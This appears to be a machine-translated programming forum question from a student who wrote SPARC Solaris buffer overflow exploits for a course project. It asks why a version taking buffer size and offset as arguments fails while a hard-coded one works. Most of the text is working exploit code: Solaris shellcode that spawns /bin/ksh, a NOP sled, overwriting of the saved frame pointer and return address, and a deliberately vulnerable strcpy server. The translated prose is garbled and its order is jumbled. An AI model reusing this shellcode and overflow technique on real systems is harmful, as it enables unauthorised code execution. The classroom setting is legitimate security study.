私は最近、SUN Sparcの "サーバー"を "攻撃"してバッファオーバーフローを引き起こすプログラムを作成するプロジェクトを終了しました。基本的には、実行中の "server"の内部から/ bin/kshを起動することでした。これらのプログラムの1つは、他のプログラムが動作しないときになぜ機能しますか?
最終的にはうまくいきましたが、愚かな理由が考えられました。ユーザーがバッファーとオフセット値を引数として入力したときに機能しませんでしたが、値がハードコードされたときに機能しました。唯一の違いは、私は、その後、それらを定義することなくBUFSIZEとOFFSETを宣言することがいかに
#include <stdlib.h>
#include <stdio.h>
/* lsd - Solaris shellcode
*/
static char shell[]= /* 10*4+8 bytes */
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh" ;
static int BUFSIZE;
static int OFFSET;
/* SPARC NOP
*/
static char np[] = "\xac\x15\xa1\x6e";
unsigned long get_sp(void) {
asm("or %sp,%sp,%i0");
}
main(int argc, char *argv[]) {
BUFSIZE = atoi(argv[1]);
OFFSET = atoi(argv[2]);
char buf[ BUFSIZE ],*ptr;
unsigned long ret,sp;
int rem,i,err;
ret = sp = get_sp();
if(argv[1]) {
ret -= strtoul(argv[1], (void *)0, 16);
}
/* align return address: IMPORTANT to be multiple of 8!! */
if((rem = ret % 8)) {
ret &= ~(rem);
}
bzero(buf, BUFSIZE);
for(i = 0; i < BUFSIZE; i+=4) {
strcpy(&buf[i], np);
}
memcpy((buf + BUFSIZE - strlen(shell) - 8),shell,strlen(shell));
ptr = &buf[OFFSET];
/* set fp to a save stack value
*/
*(ptr++) = (sp >> 24) & 0xff;
*(ptr++) = (sp >> 16) & 0xff;
*(ptr++) = (sp >> 8) & 0xff;
*(ptr++) = (sp) & 0xff;
/* we now overwrite saved PC
*/
*(ptr++) = (ret >> 24) & 0xff;
*(ptr++) = (ret >> 16) & 0xff;
*(ptr++) = (ret >> 8) & 0xff;
*(ptr++) = (ret) & 0xff;
buf[ BUFSIZE ] = 0;
#ifndef QUIET
printf("Return Address 0x%x\n",ret);
printf("Start overflowing server program\n");
printf("Then a program such as shell can be executed after server program is over\n");
#endif
err = execl("./server1", "server1", buf, (void *)0);
if(err == -1) perror("execl");
}
注:ここでは
は「剛性」プログラムです:#include <stdlib.h>
#include <stdio.h>
/* lsd - Solaris shellcode
*/
static char shell[]= /* 10*4+8 bytes */
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh" ;
#define BUFSIZE 864
/* SPARC NOP
*/
static char np[] = "\xac\x15\xa1\x6e";
unsigned long get_sp(void) {
asm("or %sp,%sp,%i0");
}
main(int argc, char *argv[]) {
char buf[ BUFSIZE ],*ptr;
unsigned long ret,sp;
int rem,i,err;
ret = sp = get_sp();
if(argv[1]) {
ret -= strtoul(argv[1], (void *)0, 16);
}
/* align return address: IMPORTANT to be multiple of 8!! */
if((rem = ret % 8)) {
ret &= ~(rem);
}
bzero(buf, BUFSIZE);
for(i = 0; i < BUFSIZE; i+=4) {
strcpy(&buf[i], np);
}
memcpy((buf + BUFSIZE - strlen(shell) - 8),shell,strlen(shell));
ptr = &buf[856];
/* set fp to a save stack value
*/
*(ptr++) = (sp >> 24) & 0xff;
*(ptr++) = (sp >> 16) & 0xff;
*(ptr++) = (sp >> 8) & 0xff;
*(ptr++) = (sp) & 0xff;
/* we now overwrite saved PC
*/
*(ptr++) = (ret >> 24) & 0xff;
*(ptr++) = (ret >> 16) & 0xff;
*(ptr++) = (ret >> 8) & 0xff;
*(ptr++) = (ret) & 0xff;
buf[ BUFSIZE ] = 0;
#ifndef QUIET
printf("Return Address 0x%x\n",ret);
printf("Start overflowing server program\n");
printf("Then a program such as shell can be executed after server program is over\n");
#endif
err = execl("./server1", "server1", buf, (void *)0);
if(err == -1) perror("execl");
}
そしてここで「柔軟な」バージョンですメインに設定してください。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void copy1(const char *a){
char buf[800];
int i, j, k;
printf("Inside COPY\n");
strcpy(buf,a);
}
void Doing_nothing() {
int i, a[200];
printf("Inside Doing_nothing\n");
for (i=0; i < 100; i++)
a[i] =2;
}
void main(int argc, char *argv[]) {
printf("\n *********************************\n");
printf("This is a newly developed WEB server. \n");
printf(" ****************************************\n") ;
printf(" ******The web server is executing*******\n") ;
printf(" ****************************************\n") ;
if (argc >=2) {
Doing_nothing();
copy1(argv[1]);
}
}
これらのすべての私のOracle Solaris 10 9/10 s10s_u9wos_14aのSPARCマシン上でコンパイル:
は後世のために、ここでは "サーバー" 私は攻撃しています。
私の質問は:
なぜ柔軟なプログラムは、私はBUFSIZEを作成し、コマンドライン引数をOFFSET単に」原因が動作しないのでしょうか?
を助け、私は、あなたたちは「ドンという欠落しているために自分でそんなに怒っていますさらに知っている。 問題がまだ意図したとおりに機能しないことのみです。 – BigDamnHero